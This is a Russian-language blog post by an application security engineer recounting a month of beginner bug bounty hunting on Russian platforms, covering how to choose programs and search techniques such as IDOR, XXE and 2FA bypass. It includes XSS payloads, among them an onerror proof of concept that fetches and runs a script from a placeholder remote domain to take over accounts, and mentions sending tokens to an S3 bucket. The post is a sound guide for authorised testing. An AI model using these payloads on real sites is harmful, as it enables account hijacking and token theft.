Способы багхантинга, проверенные начинающим багхантером или как AppSec баги искал

Whoami

Всем привет, меня зовут Аня. Я работаю AppSec-м: встраиваю сканеры в пайплайн, пишу правила, документацию, учу как не допускать уязвимости в своей кодовой базе. Была QA/QA automation, через CTF и задания веба (спасибо SpbCTF) познакомилась с проблемами безопасности и так много начала находить в своих проектах, что перешла в AppSec. Для понимания - тыкать кавычки я немного умею, но не занимаюсь этим на работе - фокус сейчас "как не допустить".

Появилась идея - проверить, что может найти начинающий багхантер, который никогда этим не занимался, по различным гипотезам. Сразу скажу, что тут не будет автоматизации (это тема для следующего вызова), все уязвимости искала в ручную. Только ты и Burp Suite.

В чем суть:

Какие вопросы себе задает начинающий багхантер:

• Где сдавать уязвимости?
• Какую программу выбрать и как?
• Что искать?
• Каким способом?
• Может ли новичек что-то найти или все баги забрал себе Рамазан?

Разберемся с каждым вопросом.

Где сдавать/искать уязвимости?

Искать на багбаунти платформах

Есть 3 RU багбаунти платформы:

• https://app.bugbounty.bi.zone/
• https://bugbounty.standoff365.com/
• https://bugbounty.ru/

Плюсы:

• У тебя растет рейтинг чсв.
• Тебя добавляют в приватки по рейтингу.
• Можно пожаловаться платформе про жизнь не легкую багхантерскую. Попросить платформу выступить арбитром в сложных вопросах, потыкать палочкой в вендора, который не отвечает тебе по почте с вопросом доступа.
• Мерч от платформ. Ну не ради денег же багхантить в самом деле:)

Минусы:

• Их нет - пишите в комментах, если знаете.

Искать на self-hosted платформах

Это проекты, которые не выложены на багбаунти платформах. Они имеют у себя страницу багбаунти с указанием куда писать в случае обнаружения уязвимости.

Например:

• https://yandex.ru/bugbounty/
• https://kontur.ru/bugbounty
• https://www.jivo.ru/bugbounty/
• https://bugbounty.mts-link.ru/
• и тд

Можно самому договариваться c проектами

Этот способ подсказал fat_dog. Пишешь менеджеру проекта и если они согласны, чтобы ты поискал у них уязвимости, то начинаешь искать. Сначала искать, а потом шантажировать, что "я нашел у вас крит и если не заплатите солью в паблик" - не нужно. Мы все-таки тут белые хакеры.

Плюсы:

• Большое количество "низко-висящих фруктов". Зачастую в таких проектах очень просто найти уязвимость.

Минусы:

• Низкие выплаты. Скорее всего тебе заплатят своей же продукцией. Но если ты не против получить ящик кофе, то почем у бы и нет.
• На такое согласится 1 из 10 менеджеров и скорее всего тот, которого уже поломали.

Какой способ был выбран?

Я выбрала просто сдавать на следующих багбаунти платформах:

• https://app.bugbounty.bi.zone/profile/savAnna/hackactivity
• https://standoff365.com/profile/savAnna

Как выбрать программу и какие тут есть варианты?

Одна лишь цель

Выбрать интересную программу/продукт и закопаться. Это позволяет глубже познакомится с функционалом и собрать не только "низко-висящие фрукты", накопить себе кучу записок по аномалиям, порисовать схемы процессов, провести полноценно разведку.

Выбрала первого вендора - Консоль по следующим критериям:

• Продукт понятен и похож на прошлую работу.
• Бэкенд на этом ЯП я еще не тестировала.
• Антон(ex всея Консоли и триажа там) шутит смешные шутки в чатах - значит и триаж будет не душный - этот пункт меня не подвел.

Минус тут оказался в том, что Антон уволился и вендор перестал рассматривать уязвимости. Без объявления войны убрал доступ до моей тестовой учетной записи, а потом и вовсе закрыл программу. И сидишь со своим списком md-файлов с аномалиями. Мой вывод, что лучше закапываться в продукты стабильных вендоров. Багбаунти, которых не держится на 1 человеке.

Тестить все по чуть-чуть

Следущий способ, который решила проверить - тестить все. 1 программа - 1 вечер. Минусы этого способа были, что некоторые продукты были просто не интересны и если не нашел "изи бага", то переходил к следующей. Из этого способа появился следующий.

Выбираем по типу

Выбираешь максимально удобный и понятный для тебя бизнес-процесс: банк, магазин, vds-ка и тестируешь именно эти программы.
Плюсы этого подхода: не нужно тратить время на понимание бизнес-процесса, можно повторять одни и те же проверки во всех программах.
Мне понравилось тестить облачные платформы, VDS-ки и магазины.

Бежать при открытии новой программы тестить быстрее всех

Этот способ рабочий, но оказался не самый эффективный для меня. Так как тестировала не каждый вечер и пока ты дойдешь до субботы, где ты можешь потестить Рамазан уже все сдаст - твои отчеты превращаются в дубли. Но если у вас самая быстрая рука на диком западе, то этот способ для вас.

Дальше когда мы определились с тем где мы хотим искать уязвимости - рассмотрим что и как будем искать.

Что и как искать?

Обученная обезьянка

Запомнил один прием и его повторяешь.

Для меня таким приемом стал добавлять во все поля

<img src=x onerror=alert();>

Способ немного занудный и я не долго на нем просидела. Тем не менее было найдено несколько багов. Правда пришлось выйти из образа обезьянки, когда на отчет по XSS, "вот методы позволяющие сделать захват аккаунта" - триажер не согласился и сказал, что тут 255 символов и что ты мне сделаешь или предоставляй реальный poc или иди на фик информатив. Пришлось для доказательства как не правы те, кто думает, что что ограничения в количестве символов защитят писать 2 варианта:

1 вариант - написать скрипт напрямую в paylod.
С помощью jquery, который подключен на сайте можно значительно уменьшить свой payload.

2 вариант - просто обращаться к своему скрипту

Загрузить на домен куда позволяет CSP, настроить CORS и писать скрипты на сколько хочешь символов

Все это можно проверить через консоль

$.get('https://domen/script.js', (d) => { })

Выводим window - ищем нашу функцию - убедились, что скрипт подгружается.

Пишем в скрипте вызов нужных методов.

И финальный POC

<img src=x onerror="$.getScript({url:'https://domen/script.js'},()=>{_hack.fn()})">

Потом триажеры сказали, что ты не реализовал запись токенов себе на S3 бакет/куда-либо, "показал только теоритическую возможность", поэтому отчет захват аккаунта через XSS - был помечен как информатив. Так что я выпила ромашкового чаю пришлось скачивать либу aws, билдить модуль записи на бакет, загружать, разбираться и все это ради копеечного реварда. Обезьянка слишком запарилась и потратила нервы на пинг-понг с триажерами - не надо так.

Так что способ обезьянки рабочий, но для аргументов для триажеров приходится выходить из этого образа.

Выбрать CWE и проверять его всеми различными способами

Для этого я выбрала IDOR(BOLA). Потому что он простой, у него есть разные способы и топ-1 OWASP 2023 как никак - API1:2023 Broken Object Level Authorization

Было найдено 11 багов (правда часть оказалось дублями, часть вендор счел информатив)

Так что те, кто писал "Такие простые уязвимости найти нельзя" после мастер-класса Поиск уязвимостей IDOR (BOLA) - вы заблуждаетесь.

Искать функционал с определенной багой

Например, ты знаешь библиотеки не безопасные по умолчанию. Ищешь проекты где она используется, потому что разработчики редко читают документацию "как сконфигурировать безопасно" (отсюда и родилось правило secure by default).

Возьмем самый простой пример, когда есть функционал отображения файла, который загружается на тот же домен, то разработчики часто забывают, что svg inline - это XSS.

Или узнал какой XML парсер не безопасный по умолчанию - ищешь обработку XML - обычно это едо, оплата, всякие интеграции с 1С. Нашел такой метод - получил XXE.

Засесть за одной фичей

Например, за аутентификацией. Проверить все методы получения токена, смена пароля, смены 2fa и тд. Нарисовать схему, продумать все варианты. Где-нибудь да найдется обход 2fa.

Следить за новостями

Следуя гипотезе, что бизнес хочет выпустить фичу поскорее, наплевав на качество - "приняв риски", подписываемся на обновления и бежим тестировать новый функционал платформы. Способ так же рабочий, была найдена 1 уязвимость, но тут оказалась проблема, что среди 1 новости платформы - приходится 10 постов про "10 советов для домохозяек как работать с нашей платформой". Если вы знаете как по другому получить список новых фич - поделитесь способом.

Выводы:

Итого: за месяц исследований(в основном по субботам и иногда по вечерам) было найдено 17 уязвимостей, из них:

• 7 подтверждено.
• 5 пока не рассмотрели.
• 4 информатив(по некоторым еще ведутся дебаты, 2 например мне удалось доказать и они были приняты).
• 1 дубль.

Каждый способ поиска оказался рабочим и принес подтвержденную багу.

• Найти даже очень простые баги и получить за них ревард можно.
• Для того, чтобы найти что-то не нужны сверх-навыки.
• Иногда найти баг можно не просидев все выходные, а за 30 минут.
• Осилит дорогу идущий.

Если у вас все-равно не получается, то рекомендую:

• Подумать о бизнес-ценности данного продукта. Какой риск бизнес не хотел бы допустить.
• Подтянуть базу знаний и порешать лабы/CTF-ки. Рекомендую начать с TryHackMe или с Portswigger Academy

Удачного вам багхантинга!